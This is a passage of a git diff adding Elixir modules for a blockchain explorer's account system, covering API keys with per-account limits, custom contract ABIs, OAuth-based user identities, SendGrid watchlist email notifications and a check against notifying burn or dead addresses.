primary_identity} + end + + def merge([]) do + {{:ok, 0}, nil} + end +end diff --git a/apps/explorer/lib/explorer/account/api/key.ex b/apps/explorer/lib/explorer/account/api/key.ex new file mode 100644 index 000000000000..2f86c1fabde2 --- /dev/null +++ b/apps/explorer/lib/explorer/account/api/key.ex @@ -0,0 +1,203 @@ +defmodule Explorer.Account.Api.Key do + @moduledoc """ + Module is responsible for schema for API keys, keys is used to track number of requests to the API endpoints + """ + use Explorer.Schema + + alias Ecto.Multi + alias Explorer.Account.Identity + alias Ecto.{Changeset, UUID} + alias Explorer.Repo + + import Ecto.Changeset + + @max_key_per_account 3 + + @primary_key false + typed_schema "account_api_keys" do + field(:name, :string, null: false) + field(:value, UUID, primary_key: true, null: false) + belongs_to(:identity, Identity, null: false) + + timestamps() + end + + @attrs ~w(value name identity_id)a + + @user_not_found "User not found" + + def changeset do + %__MODULE__{} + |> cast(%{}, @attrs) + end + + def changeset(%__MODULE__{} = api_key, attrs \\ %{}) do + api_key + |> cast(attrs, @attrs) + |> validate_required(@attrs, message: "Required") + |> validate_length(:name, min: 1, max: 255) + |> unique_constraint(:value, message: "API key already exists") + |> foreign_key_constraint(:identity_id, message: @user_not_found) + |> api_key_count_constraint() + end + + @doc """ + Creates a new API key associated with an identity or returns an error when no identity is specified. + + When `identity_id` is provided in the attributes, the function acquires a lock on the + identity record and creates a new API key within a transaction. If the identity is not + found or if the changeset validation fails, returns an error. + + When `identity_id` is not provided, immediately returns an error with an invalid + changeset. + + ## Parameters + - `attrs`: A map of attributes that may contain: + - `identity_id`: The ID of the identity to associate the API key with + - `name`: The name for the API key (required, 1 to 255 characters) + - `value`: Optional. If not provided, will be auto-generated using UUID v4 + + ## Returns + - `{:ok, api_key}` if the API key was created successfully + - `{:error, changeset}` if validation fails or when no identity is provided + """ + @spec create(map()) :: {:ok, t()} | {:error, Changeset.t()} + def create(%{identity_id: identity_id} = attrs) do + Multi.new() + |> Identity.acquire_with_lock(identity_id) + |> Multi.insert(:api_key, fn _ -> + %__MODULE__{} + |> changeset(Map.put(attrs, :value, generate_api_key())) + end) + |> Repo.account_repo().transaction() + |> case do + {:ok, %{api_key: api_key}} -> + {:ok, api_key} + + {:error, :acquire_identity, :not_found, _changes} -> + {:error, + %__MODULE__{} + |> changeset(Map.put(attrs, :value, generate_api_key())) + |> add_error(:identity_id, @user_not_found, + constraint: :foreign, + constraint_name: "account_api_keys_identity_id_fkey" + )} + + {:error, _failed_operation, error, _changes} -> + {:error, error} + end + end + + def create(attrs) do + {:error, %__MODULE__{} |> changeset(Map.put(attrs, :value, generate_api_key()))} + end + + def api_key_count_constraint(%Changeset{changes: %{identity_id: identity_id}} = api_key) do + if identity_id + |> api_keys_by_identity_id_query() + |> limit(@max_key_per_account) + |> Repo.account_repo().aggregate(:count, :value) >= @max_key_per_account do + api_key + |> add_error(:name, "Max #{@max_key_per_account} keys per account") + else + api_key + end + end + + def api_key_count_constraint(changeset), do: changeset + + def generate_api_key do + UUID.generate() + end + + def api_keys_by_identity_id_query(id) when not is_nil(id) do + __MODULE__ + |> where([api_key], api_key.identity_id == ^id) + |> order_by([api_key], desc: api_key.inserted_at) + end + + def api_keys_by_identity_id_query(_), do: nil + + def api_key_by_value_and_identity_id_query(api_key_value, identity_id) + when not is_nil(api_key_value) and not is_nil(identity_id) do + __MODULE__ + |> where([api_key], api_key.identity_id == ^identity_id and api_key.value == ^api_key_value) + end + + def api_key_by_value_and_identity_id_query(_, _), do: nil + + def get_api_key_by_value_and_identity_id(value, identity_id) when not is_nil(value) and not is_nil(identity_id) do + value + |> api_key_by_value_and_identity_id_query(identity_id) + |> Repo.account_repo().one() + end + + def get_api_key_by_value_and_identity_id(_, _), do: nil + + def update(%{value: api_key_value, identity_id: identity_id} = attrs) do + with api_key <- get_api_key_by_value_and_identity_id(api_key_value, identity_id), + false <- is_nil(api_key) do + api_key |> changeset(attrs) |> Repo.account_repo().update() + else + true -> + {:error, %{reason: :item_not_found}} + end + end + + def delete(api_key_value, identity_id) when not is_nil(api_key_value) and not is_nil(identity_id) do + api_key_value + |> api_key_by_value_and_identity_id_query(identity_id) + |> Repo.account_repo().delete_all() + end + + def delete(_, _), do: nil + + def get_api_keys_by_identity_id(id) when not is_nil(id) do + id + |> api_keys_by_identity_id_query() + |> Repo.account_repo().all() + end + + def get_api_keys_by_identity_id(_), do: nil + + def api_key_with_plan_by_value(api_key_value) when not is_nil(api_key_value) do + if match?({:ok, _casted_api_key}, UUID.cast(api_key_value)) do + __MODULE__ + |> where([api_key], api_key.value == ^api_key_value) + |> Repo.account_repo().one() + |> Repo.account_repo().preload(identity: :plan) + else + nil + end + end + + def api_key_with_plan_by_value(_), do: nil + + def get_max_api_keys_count, do: @max_key_per_account + + @doc """ + Merges API keys from multiple identities into a primary identity. + + This function updates the `identity_id` of all API keys belonging to the + identities specified in `ids_to_merge` to the `primary_id`. It's designed to + be used as part of an Ecto.Multi transaction. + + ## Parameters + - `multi`: An Ecto.Multi struct to which this operation will be added. + - `primary_id`: The ID of the primary identity that will own the merged keys. + - `ids_to_merge`: A list of identity IDs whose API keys will be merged. + + ## Returns + - An updated Ecto.Multi struct with the merge operation added. + """ + @spec merge(Multi.t(), integer(), [integer()]) :: Multi.t() + def merge(multi, primary_id, ids_to_merge) do + Multi.run(multi, :merge_keys, fn repo, _ -> + {:ok, + repo.update_all( + from(key in __MODULE__, where: key.identity_id in ^ids_to_merge), + set: [identity_id: primary_id] + )} + end) + end +end diff --git a/apps/explorer/lib/explorer/account/api/plan.ex b/apps/explorer/lib/explorer/account/api/plan.ex new file mode 100644 index 000000000000..599f133caa2f --- /dev/null +++ b/apps/explorer/lib/explorer/account/api/plan.ex @@ -0,0 +1,13 @@ +defmodule Explorer.Account.Api.Plan do + @moduledoc """ + Module is responsible for schema for API plans, each plan contains its name and maximum number of requests per second + """ + use Explorer.Schema + + typed_schema "account_api_plans" do + field(:name, :string) + field(:max_req_per_second, :integer) + + timestamps() + end +end diff --git a/apps/explorer/lib/explorer/account/custom_abi.ex b/apps/explorer/lib/explorer/account/custom_abi.ex new file mode 100644 index 000000000000..3cc9eae51c93 --- /dev/null +++ b/apps/explorer/lib/explorer/account/custom_abi.ex @@ -0,0 +1,336 @@ +defmodule Explorer.Account.CustomABI do + @moduledoc """ + Module is responsible for schema for API keys, keys is used to track number of requests to the API endpoints + """ + use Explorer.Schema + + alias ABI.FunctionSelector + alias Ecto.{Changeset, Multi} + alias Explorer.Account.Identity + alias Explorer.{Chain, Repo} + alias Explorer.Chain.Hash + + import Explorer.Chain, only: [hash_to_lower_case_string: 1] + import Ecto.Changeset + + @max_abis_per_account 15 + + @user_not_found "User not found" + + typed_schema "account_custom_abis" do + field(:abi, {:array, :map}, null: false) + field(:given_abi, :string, virtual: true) + field(:abi_validating_error, :string, virtual: true) + field(:address_hash_hash, Cloak.Ecto.SHA256) :: binary() | nil + field(:address_hash, Explorer.Encrypted.AddressHash, null: false) + field(:name, Explorer.Encrypted.Binary, null: false) + field(:user_created, :boolean, null: false, default: true) + + belongs_to(:identity, Identity, null: false) + + timestamps() + end + + @attrs ~w(name abi identity_id address_hash)a + + def changeset(%__MODULE__{} = custom_abi \\ %__MODULE__{}, attrs \\ %{}) do + custom_abi + |> cast(check_is_abi_valid?(attrs), @attrs ++ [:id, :given_abi, :abi_validating_error]) + |> validate_required(@attrs, message: "Required") + |> validate_custom_abi() + |> check_smart_contract_address() + |> foreign_key_constraint(:identity_id, message: @user_not_found) + |> put_hashed_fields() + |> unique_constraint([:identity_id, :address_hash_hash], + message: "Custom ABI for this address has already been added before" + ) + |> custom_abi_count_constraint() + end + + def changeset_without_constraints(%__MODULE__{} = custom_abi \\ %__MODULE__{}, attrs \\ %{}) do + custom_abi + |> cast(attrs, [:id | @attrs]) + |> validate_required(@attrs, message: "Required") + end + + defp put_hashed_fields(changeset) do + # Using force_change instead of put_change due to https://github.com/danielberkompas/cloak_ecto/issues/53 + changeset + |> force_change(:address_hash_hash, hash_to_lower_case_string(get_field(changeset, :address_hash))) + end + + defp check_smart_contract_address(%Changeset{changes: %{address_hash: address_hash}} = custom_abi) do + check_smart_contract_address_inner(custom_abi, address_hash) + end + + defp check_smart_contract_address(%Changeset{data: %{address_hash: address_hash}} = custom_abi) do + check_smart_contract_address_inner(custom_abi, address_hash) + end + + defp check_smart_contract_address(custom_abi), do: custom_abi + + defp check_smart_contract_address_inner(changeset, address_hash) do + if Chain.address_hash_is_smart_contract?(address_hash) do + changeset + else + add_error(changeset, :address_hash, "Address is not a smart contract") + end + end + + defp validate_custom_abi(%Changeset{changes: %{given_abi: given_abi, abi_validating_error: error}} = custom_abi) do + custom_abi + |> add_error(:abi, error) + |> force_change(:abi, given_abi) + end + + defp validate_custom_abi(custom_abi), do: custom_abi + + defp check_is_abi_valid?(%{abi: abi} = custom_abi) when is_binary(abi) do + with {:ok, decoded} <- Jason.decode(abi), + true <- is_list(decoded) do + custom_abi + |> Map.put(:abi, decoded) + |> check_is_abi_valid?(abi) + else + _ -> + custom_abi + |> Map.put(:abi, "") + |> Map.put(:given_abi, abi) + |> Map.put(:abi_validating_error, "Invalid format") + end + end + + defp check_is_abi_valid?(custom_abi, given_abi \\ nil) + + defp check_is_abi_valid?(%{abi: abi} = custom_abi, given_abi) when is_list(abi) do + with true <- length(abi) > 0, + filtered_abi <- filter_abi(abi), + false <- Enum.empty?(filtered_abi) do + Map.put(custom_abi, :abi, filtered_abi) + else + _ -> + custom_abi + |> Map.put(:abi, "") + |> (&if(is_nil(given_abi), + do: Map.put(&1, :given_abi, Jason.encode!(abi)), + else: Map.put(&1, :given_abi, given_abi) + )).() + |> Map.put(:abi_validating_error, "ABI must contain functions") + end + end + + defp check_is_abi_valid?(custom_abi, _), do: custom_abi + + defp filter_abi(abi_list) when is_list(abi_list) do + Enum.filter(abi_list, &is_abi_function(&1)) + end + + defp is_abi_function(abi_item) when is_map(abi_item) do + case ABI.parse_specification([abi_item], include_events?: false) do + [%FunctionSelector{type: :constructor}] -> + false + + [_] -> + true + + _ -> + false + end + end + + def custom_abi_count_constraint(%Changeset{changes: %{identity_id: identity_id}} = custom_abi) do + if identity_id + |> custom_abis_by_identity_id_query() + |> limit(@max_abis_per_account) + |> Repo.account_repo().aggregate(:count, :id) >= @max_abis_per_account do + add_error(custom_abi, :name, "Max #{@max_abis_per_account} ABIs per account") + else + custom_abi + end + end + + def custom_abi_count_constraint(%Changeset{} = custom_abi), do: custom_abi + + @doc """ + Creates a new custom ABI entry for a smart contract address. + + The function performs several validations including checking the ABI format, + verifying the smart contract address, and ensuring the user hasn't exceeded their + ABI limit. The operation is executed within a database transaction that includes + identity verification. + + ## Parameters + - `attrs`: A map containing: + - `identity_id`: The ID of the user creating the ABI + - `abi`: The ABI specification as a JSON string or list of maps + - `name`: The name for this custom ABI entry + - `address_hash`: The smart contract address this ABI corresponds to + + ## Returns + - `{:ok, custom_abi}` if the creation is successful + - `{:error, changeset}` if: + - The identity doesn't exist + - The ABI format is invalid + - The address is not a smart contract + - The user has reached their ABI limit + - The ABI already exists for this address + - Required fields are missing + """ + @spec create(map()) :: {:ok, t()} | {:error, Changeset.t()} + def create(%{identity_id: identity_id} = attrs) do + Multi.new() + |> Identity.acquire_with_lock(identity_id) + |> Multi.insert(:custom_abi, fn _ -> + %__MODULE__{} + |> changeset(attrs) + end) + |> Repo.account_repo().transaction() + |> case do + {:ok, %{custom_abi: custom_abi}} -> + {:ok, custom_abi} + + {:error, :acquire_identity, :not_found, _changes} -> + {:error, + %__MODULE__{} + |> changeset(attrs) + |> add_error(:identity_id, @user_not_found, + constraint: :foreign, + constraint_name: "account_custom_abis_identity_id_fkey" + )} + + {:error, _failed_operation, error, _changes} -> + {:error, error} + end + end + + def create(attrs) do + {:error, + %__MODULE__{} + |> changeset(attrs)} + end + + def custom_abis_by_identity_id_query(id) when not is_nil(id) do + __MODULE__ + |> where([abi], abi.identity_id == ^id) + |> order_by([abi], desc: abi.id) + end + + def custom_abis_by_identity_id_query(_), do: nil + + def custom_abi_by_id_and_identity_id_query(id, identity_id) + when not is_nil(id) and not is_nil(identity_id) do + __MODULE__ + |> where([custom_abi], custom_abi.identity_id == ^identity_id and custom_abi.id == ^id) + end + + def custom_abi_by_id_and_identity_id_query(_, _), do: nil + + def custom_abi_by_identity_id_and_address_hash_query(address_hash, identity_id) + when not is_nil(identity_id) and not is_nil(address_hash) do + __MODULE__ + |> where([custom_abi], custom_abi.identity_id == ^identity_id and custom_abi.address_hash_hash == ^address_hash) + end + + def custom_abi_by_identity_id_and_address_hash_query(_, _), do: nil + + @doc """ + Retrieves a custom ABI for a given address hash and identity ID. + + This function searches for a custom ABI associated with the provided address + hash and identity ID. It returns the first matching ABI if found, or nil if no + matching ABI exists. + + ## Parameters + - `address_hash`: The address hash to search for. Can be a `Hash.Address.t()`, + `String.t()`, or `nil`. + - `identity_id`: The identity ID associated with the custom ABI. Can be an + `integer()` or `nil`. + + ## Returns + - A `Explorer.Account.CustomABI` struct if a matching ABI is found. + - `nil` if no matching ABI is found or if either input is nil. + """ + @spec get_custom_abi_by_identity_id_and_address_hash(Hash.Address.t() | String.t() | nil, integer() | nil) :: + __MODULE__.t() | nil + def get_custom_abi_by_identity_id_and_address_hash(address_hash, identity_id) + when not is_nil(identity_id) and not is_nil(address_hash) do + abis = + address_hash + |> hash_to_lower_case_string() + |> custom_abi_by_identity_id_and_address_hash_query(identity_id) + |> Repo.account_repo().all() + + case abis do + [abi | _] -> abi + _ -> nil + end + end + + def get_custom_abi_by_identity_id_and_address_hash(_, _), do: nil + + def get_custom_abi_by_id_and_identity_id(id, identity_id) when not is_nil(id) and not is_nil(identity_id) do + id + |> custom_abi_by_id_and_identity_id_query(identity_id) + |> Repo.account_repo().one() + end + + def get_custom_abi_by_id_and_identity_id(_, _), do: nil + + def get_custom_abis_by_identity_id(id) when not is_nil(id) do + id + |> custom_abis_by_identity_id_query() + |> Repo.account_repo().all() + end + + def get_custom_abis_by_identity_id(_), do: nil + + def delete(id, identity_id) when not is_nil(id) and not is_nil(identity_id) do + id + |> custom_abi_by_id_and_identity_id_query(identity_id) + |> Repo.account_repo().delete_all() + end + + def delete(_, _), do: nil + + def update(%{id: id, identity_id: identity_id} = attrs) do + with custom_abi <- get_custom_abi_by_id_and_identity_id(id, identity_id), + false <- is_nil(custom_abi) do + custom_abi + |> changeset(attrs) + |> Repo.account_repo().update() + else + true -> + {:error, %{reason: :item_not_found}} + end + end + + def get_max_custom_abis_count, do: @max_abis_per_account + + @doc """ + Merges custom ABIs from multiple identities into a primary identity. + + This function updates all custom ABIs associated with the identities specified + in `ids_to_merge` to be associated with the `primary_id`. It also marks these + ABIs as not user-created in order to satisfy database constraint. + + ## Parameters + - `multi`: An `Ecto.Multi` struct to which the merge operation will be added. + - `primary_id`: An integer representing the ID of the primary identity to + which the custom ABIs will be merged. + - `ids_to_merge`: A list of integer IDs representing the identities whose + custom ABIs will be merged into the primary identity. + + ## Returns + - An updated `Ecto.Multi` struct with the merge operation added. + """ + @spec merge(Multi.t(), integer(), [integer()]) :: Multi.t() + def merge(multi, primary_id, ids_to_merge) do + Multi.run(multi, :merge_custom_abis, fn repo, _ -> + {:ok, + repo.update_all( + from(key in __MODULE__, where: key.identity_id in ^ids_to_merge), + set: [identity_id: primary_id, user_created: false] + )} + end) + end +end diff --git a/apps/explorer/lib/explorer/account/identity.ex b/apps/explorer/lib/explorer/account/identity.ex new file mode 100644 index 000000000000..79231f4dc9f6 --- /dev/null +++ b/apps/explorer/lib/explorer/account/identity.ex @@ -0,0 +1,362 @@ +defmodule Explorer.Account.Identity do + @moduledoc """ + Identity of user fetched via Oauth + """ + use Explorer.Schema + + require Logger + require Poison + + alias BlockScoutWeb.Chain + alias Ecto.Multi + alias Explorer.Account.Api.Plan + alias Explorer.Account.{TagAddress, Watchlist} + alias Explorer.{Chain, Repo} + alias Explorer.Chain.{Address, Hash} + alias Ueberauth.Auth + alias Ueberauth.Auth.{Extra, Info} + + @type session :: %{ + optional(:name) => String.t(), + optional(:watchlist_id) => integer(), + id: integer(), + uid: String.t(), + email: String.t(), + nickname: String.t(), + avatar: String.t(), + address_hash: String.t(), + email_verified: boolean() + } + + typed_schema "account_identities" do + field(:uid_hash, Cloak.Ecto.SHA256) :: binary() | nil + field(:uid, Explorer.Encrypted.Binary, null: false) + field(:email, Explorer.Encrypted.Binary, null: false) + field(:name, :string, virtual: true) + field(:nickname, :string, virtual: true) + field(:address_hash, Hash.Address, virtual: true) + field(:avatar, Explorer.Encrypted.Binary) + field(:verification_email_sent_at, :utc_datetime_usec) + field(:otp_sent_at, :utc_datetime_usec) + + has_many(:tag_addresses, TagAddress) + has_many(:watchlists, Watchlist) + + belongs_to(:plan, Plan) + + timestamps() + end + + @doc false + def changeset(identity, attrs) do + identity + |> cast(attrs, [:uid, :email, :name, :nickname, :avatar, :verification_email_sent_at, :otp_sent_at]) + |> validate_required([:uid]) + |> put_hashed_fields() + end + + defp put_hashed_fields(changeset) do + # Using force_change instead of put_change due to https://github.com/danielberkompas/cloak_ecto/issues/53 + changeset + |> force_change(:uid_hash, get_field(changeset, :uid)) + end + + @doc """ + Populates Identity virtual fields with data from user-stored session. + + This function updates the virtual fields of an Identity struct with + information from the user's session. + + ## Parameters + - `identity`: The Identity struct to be updated. + - `session`: A map containing session information. + + ## Returns + - An updated Identity struct with populated virtual fields. + """ + @spec put_session_info(t(), session()) :: t() + def put_session_info(identity, %{name: name, nickname: nickname, address_hash: address_hash}) do + %__MODULE__{ + identity + | name: name, + nickname: nickname, + address_hash: address_hash + } + end + + def put_session_info(identity, %{name: name, nickname: nickname}) do + %__MODULE__{ + identity + | name: name, + nickname: nickname + } + end + + @doc """ + Finds an existing Identity or creates a new one based on authentication data. + + This function attempts to find an Identity matching the given authentication + data. If not found, it creates a new Identity. + + ## Parameters + - `auth`: An Auth struct containing authentication information. + + ## Returns + - `{:ok, session()}`: A tuple containing the atom `:ok` and a session map if + the Identity is found or successfully created. + - `{:error, Ecto.Changeset.t()}`: A tuple containing the atom `:error` and a + changeset if there was an error creating the Identity. + """ + @spec find_or_create(Auth.t()) :: {:ok, session()} | {:error, Ecto.Changeset.t()} + def find_or_create(%Auth{} = auth) do + case find_identity(auth) do + nil -> + case create_identity(auth) do + %__MODULE__{} = identity -> + {:ok, session_info(auth, identity)} + + {:error, changeset} -> + {:error, changeset} + end + + %{} = identity -> + update_identity(identity, update_identity_map(auth)) + {:ok, session_info(auth, identity)} + end + end + + defp create_identity(auth) do + with {:ok, %__MODULE__{} = identity} <- Repo.account_repo().insert(new_identity(auth)), + {:ok, _watchlist} <- add_watchlist(identity) do + identity + end + end + + defp update_identity(identity, attrs) do + identity + |> changeset(attrs) + |> Repo.account_repo().update() + end + + defp new_identity(auth) do + %__MODULE__{ + uid: auth.uid, + uid_hash: auth.uid, + email: email_from_auth(auth), + name: name_from_auth(auth), + nickname: nickname_from_auth(auth), + avatar: avatar_from_auth(auth), + address_hash: address_hash_from_auth(auth) + } + end + + defp add_watchlist(identity) do + watchlist = Ecto.build_assoc(identity, :watchlists, %{}) + + with {:ok, _} <- Repo.account_repo().insert(watchlist), + do: {:ok, identity} + end + + @doc """ + Finds an Identity based on authentication data or ID. + + This function searches for an Identity using either authentication data or + an ID. + + ## Parameters + - `auth_or_uid`: Either an Auth struct or an integer ID. + + ## Returns + - The found Identity struct or nil if not found. + """ + @spec find_identity(Auth.t() | integer()) :: t() | nil + def find_identity(auth_or_uid) do + Repo.account_repo().one(query_identity(auth_or_uid)) + end + + defp query_identity(%Auth{} = auth) do + from(i in __MODULE__, where: i.uid_hash == ^auth.uid) + end + + defp query_identity(id) do + from(i in __MODULE__, where: i.id == ^id) + end + + @doc """ + Finds multiple Identities based on a list of user IDs. + + This function retrieves multiple Identity structs that match the given list + of user IDs. + + ## Parameters + - `user_ids`: A list of user ID strings. + + ## Returns + - A list of found Identity structs. + """ + @spec find_identities([String.t()]) :: [t()] + def find_identities(user_ids) do + Repo.account_repo().all(query_identities(user_ids)) + end + + defp query_identities(user_ids) do + from(i in __MODULE__, where: i.uid_hash in ^user_ids) + end + + @doc """ + Deletes multiple Identities as part of a Multi transaction. + + This function adds a step to a Multi transaction to delete Identities with + the specified IDs. + + ## Parameters + - `multi`: The Multi struct to which the delete operation will be added. + - `ids_to_merge`: A list of Identity IDs to be deleted. + + ## Returns + - An updated Multi struct with the delete operation added. + """ + @spec delete(Multi.t(), [integer()]) :: Multi.t() + def delete(multi, ids_to_merge) do + Multi.run(multi, :delete_identities, fn repo, _ -> + query = from(identity in __MODULE__, where: identity.id in ^ids_to_merge) + {:ok, repo.delete_all(query)} + end) + end + + @doc """ + Adds an operation to acquire and lock an account identity record in the database. + + This operation performs a SELECT FOR UPDATE on the identity record, which prevents + concurrent modifications of the record until the transaction is committed or rolled + back. + + ## Parameters + - `multi`: An Ecto.Multi struct representing a series of database operations + - `identity_id`: The ID of the account identity to lock + + ## Returns + - An updated Ecto.Multi struct with the `:acquire_identity` operation added. The + operation will return: + - `{:ok, identity}` if the identity is found and locked successfully + - `{:error, :not_found}` if no identity exists with the given ID + """ + @spec acquire_with_lock(Multi.t(), integer()) :: Multi.t() + def acquire_with_lock(multi, identity_id) do + Multi.run(multi, :acquire_identity, fn repo, _ -> + identity_query = from(identity in __MODULE__, where: identity.id == ^identity_id, lock: "FOR UPDATE") + + case repo.one(identity_query) do + nil -> + {:error, :not_found} + + identity -> + {:ok, identity} + end + end) + end + + defp session_info(auth, identity) do + if email_verified_from_auth(auth) do + %{watchlists: [watchlist | _]} = Repo.account_repo().preload(identity, :watchlists) + + %{ + id: identity.id, + uid: auth.uid, + email: email_from_auth(auth), + name: name_from_auth(auth), + nickname: nickname_from_auth(auth), + avatar: avatar_from_auth(auth), + address_hash: address_hash_from_auth(auth), + watchlist_id: watchlist.id, + email_verified: true + } + else + %{ + id: identity.id, + uid: auth.uid, + email: email_from_auth(auth), + nickname: nickname_from_auth(auth), + avatar: avatar_from_auth(auth), + address_hash: address_hash_from_auth(auth), + email_verified: false + } + end + end + + defp update_identity_map(auth) do + %{ + email: email_from_auth(auth), + name: name_from_auth(auth), + nickname: nickname_from_auth(auth), + avatar: avatar_from_auth(auth), + address_hash: address_hash_from_auth(auth) + } + end + + # github does it this way + defp avatar_from_auth(%{info: %{urls: %{avatar_url: image}}}), do: image + + # facebook does it this way + defp avatar_from_auth(%{info: %{image: image}}), do: image + + defp email_from_auth(%Auth{extra: %Extra{raw_info: %{user: %{"user_metadata" => %{"email" => email}}}}}), + do: email + + defp email_from_auth(%{info: %{email: email}}), do: email + + defp nickname_from_auth(%{info: %{nickname: nickname}}), do: nickname + + defp name_from_auth(%{info: %{name: name}}) + when name != "" and not is_nil(name), + do: name + + defp name_from_auth(%{info: info}) do + [info.first_name, info.last_name, info.nickname] + |> Enum.map(&(&1 |> to_string() |> String.trim())) + |> case do + ["", "", nick] -> nick + ["", lastname, _] -> lastname + [name, "", _] -> name + [name, lastname, _] -> name <> " " <> lastname + end + end + + @doc """ + Extracts the address hash from authentication data. + + This function attempts to extract an Ethereum address hash from the + authentication data, either from user metadata or by parsing the UID. + + ## Parameters + - `auth`: An Auth struct containing authentication information. + + ## Returns + - A string representation of the Ethereum address hash, or nil if not found. + """ + @spec address_hash_from_auth(Auth.t()) :: String.t() | nil + def address_hash_from_auth(%Auth{ + extra: %Extra{raw_info: %{user: %{"user_metadata" => %{"web3_address_hash" => address_hash}}}} + }) do + address_hash + end + + def address_hash_from_auth(%Auth{uid: uid, info: %Info{nickname: nickname}}) do + case uid |> String.slice(-42..-1) |> Chain.string_to_address_hash() do + {:ok, address_hash} -> + address_hash |> Address.checksum() + + _ -> + case String.contains?(uid, "Passkey") && Chain.string_to_address_hash(nickname) do + {:ok, address_hash} -> address_hash |> Address.checksum() + _ -> nil + end + end + end + + defp email_verified_from_auth(%Auth{extra: %Extra{raw_info: %{user: %{"user_metadata" => %{"email" => _email}}}}}), + do: true + + defp email_verified_from_auth(%Auth{extra: %Extra{raw_info: %{user: %{"email_verified" => false}}}}), do: false + defp email_verified_from_auth(_), do: true +end diff --git a/apps/explorer/lib/explorer/account/notifier/email.ex b/apps/explorer/lib/explorer/account/notifier/email.ex new file mode 100644 index 000000000000..46abfc7519cf --- /dev/null +++ b/apps/explorer/lib/explorer/account/notifier/email.ex @@ -0,0 +1,134 @@ +defmodule Explorer.Account.Notifier.Email do + @moduledoc """ + Composing an email to sendgrid + """ + + require Logger + + alias Explorer.Account.{Identity, Watchlist, WatchlistAddress, WatchlistNotification} + alias Explorer.Chain.Address + alias Explorer.Repo + alias Utils.Helper + + import Bamboo.{Email, SendGridHelper} + + def compose(notification, %{notify_email: notify}) when notify do + notification = preload(notification) + + email = compose_email(notification) + Logger.debug("--- composed email", fetcher: :account) + Logger.debug(email, fetcher: :account) + email + end + + def compose(_, _), do: nil + + defp compose_email(notification) do + email = new_email(from: sender(), to: email(notification)) + + email + |> with_template(template()) + |> add_dynamic_field("username", username(notification)) + |> add_dynamic_field("address_hash", Address.checksum(notification.watchlist_address.address_hash)) + |> add_dynamic_field("address_name", notification.watchlist_address.name) + |> add_dynamic_field("transaction_hash", to_string(notification.transaction_hash)) + |> add_dynamic_field("from_address_hash", Address.checksum(notification.from_address_hash)) + |> add_dynamic_field("to_address_hash", Address.checksum(notification.to_address_hash)) + |> add_dynamic_field("block_number", notification.block_number) + |> add_dynamic_field("amount", amount(notification)) + |> add_dynamic_field("name", notification.name) + |> add_dynamic_field("transaction_fee", notification.transaction_fee) + |> add_dynamic_field("direction", direction(notification)) + |> add_dynamic_field("method", notification.method) + |> add_dynamic_field("transaction_url", transaction_url(notification)) + |> add_dynamic_field("address_url", address_url(notification.watchlist_address.address_hash)) + |> add_dynamic_field("from_url", address_url(notification.from_address_hash)) + |> add_dynamic_field("to_url", address_url(notification.to_address_hash)) + |> add_dynamic_field("block_url", block_url(notification)) + end + + defp amount(%WatchlistNotification{amount: amount, subject: subject, type: type}) do + case type do + "COIN" -> + amount + + "ERC-20" -> + amount + + "ERC-721" -> + "Token ID: " <> subject <> " of " + + "ERC-1155" -> + "Token ID: " <> subject <> " of " + + "ERC-404" -> + "Token ID: " <> subject <> " of " + end + end + + defp email(%WatchlistNotification{ + watchlist_address: %WatchlistAddress{ + watchlist: %Watchlist{ + identity: %Identity{ + email: email + } + } + } + }), + do: email + + defp username(%WatchlistNotification{ + watchlist_address: %WatchlistAddress{ + watchlist: %Watchlist{ + identity: %Identity{ + name: name + } + } + } + }), + do: name + + defp direction(notification) do + affect(notification) <> " " <> place(notification) + end + + defp place(%WatchlistNotification{direction: direction}) do + case direction do + "incoming" -> "at" + "outgoing" -> "from" + _ -> "unknown" + end + end + + defp affect(%WatchlistNotification{direction: direction}) do + case direction do + "incoming" -> "received" + "outgoing" -> "sent" + _ -> "unknown" + end + end + + defp preload(notification) do + Repo.account_repo().preload(notification, watchlist_address: [watchlist: :identity]) + end + + defp address_url(address_hash) do + Helper.instance_url() |> URI.append_path("/address/#{address_hash}") |> to_string() + end + + defp block_url(notification) do + Helper.instance_url() |> URI.append_path("/block/#{notification.block_number}") |> to_string() + end + + defp transaction_url(notification) do + Helper.instance_url() |> URI.append_path("/tx/#{notification.transaction_hash}") |> to_string() + end + + defp sender do + Application.get_env(:explorer, Explorer.Account)[:sendgrid][:sender] + end + + defp template do + Application.get_env(:explorer, Explorer.Account)[:sendgrid][:template] + end +end diff --git a/apps/explorer/lib/explorer/account/notifier/forbidden_address.ex b/apps/explorer/lib/explorer/account/notifier/forbidden_address.ex new file mode 100644 index 000000000000..16ab861c4627 --- /dev/null +++ b/apps/explorer/lib/explorer/account/notifier/forbidden_address.ex @@ -0,0 +1,72 @@ +defmodule Explorer.Account.Notifier.ForbiddenAddress do + @moduledoc """ + Check if address is forbidden to notify + """ + + import Explorer.Chain.SmartContract, + only: [ + burn_address_hash_string: 0, + dead_address_hash_string: 0 + ] + + alias Explorer.Chain.Address + + @blacklist [ + burn_address_hash_string(), + dead_address_hash_string() + ] + + alias Explorer.AccessHelper + + import Explorer.Chain, only: [string_to_address_hash: 1, hash_to_address: 1] + + def check(address_string) when is_bitstring(address_string) do + case format_address(address_string) do + {:error, message} -> + {:error, message} + + address_hash -> + check(address_hash) + end + end + + def check(%Explorer.Chain.Hash{} = address_hash) do + cond do + address_hash in blacklist() -> + {:error, "This address is blacklisted"} + + contract?(address_hash) -> + {:error, "This address isn't EOA"} + + match?({:restricted_access, true}, AccessHelper.restricted_access?(to_string(address_hash), %{})) -> + {:error, "This address has restricted access"} + + address_hash -> + {:ok, address_hash} + end + end + + defp contract?(%Explorer.Chain.Hash{} = address_hash) do + case hash_to_address(address_hash) do + {:error, :not_found} -> false + {:ok, address} -> Address.smart_contract?(address) + end + end + + defp format_address(address_hash_string) do + case string_to_address_hash(address_hash_string) do + {:ok, address_hash} -> + address_hash + + :error -> + {:error, "Address is invalid"} + end + end + + defp blacklist do + Enum.map( + @blacklist, + &format_address(&1) + ) + end +end diff --git a/apps/explorer/lib/explorer/account/notifier/notify.ex b/apps/explorer/lib/explorer/account/notifier/notify.ex new file mode 100644 index 000000000000..8e9289629b23 --- /dev/null +++ b/apps/explorer/lib/explorer/account/notifier/notify.ex @@ -0,0 +1,159 @@ +defmodule Explorer.Account.Notifier.Notify do + @moduledoc """ + Composing notification, store and send it to email + """ + + alias Explorer.Account.Notifier.{Email, ForbiddenAddress, Summary} + alias Explorer.Account.{WatchlistAddress, WatchlistNotification} + alias Explorer.Chain.Transaction + alias Explorer.{Mailer, Repo} + + require Logger + + import Ecto.Query, only: [from: 2] + import Explorer.Chain, only: 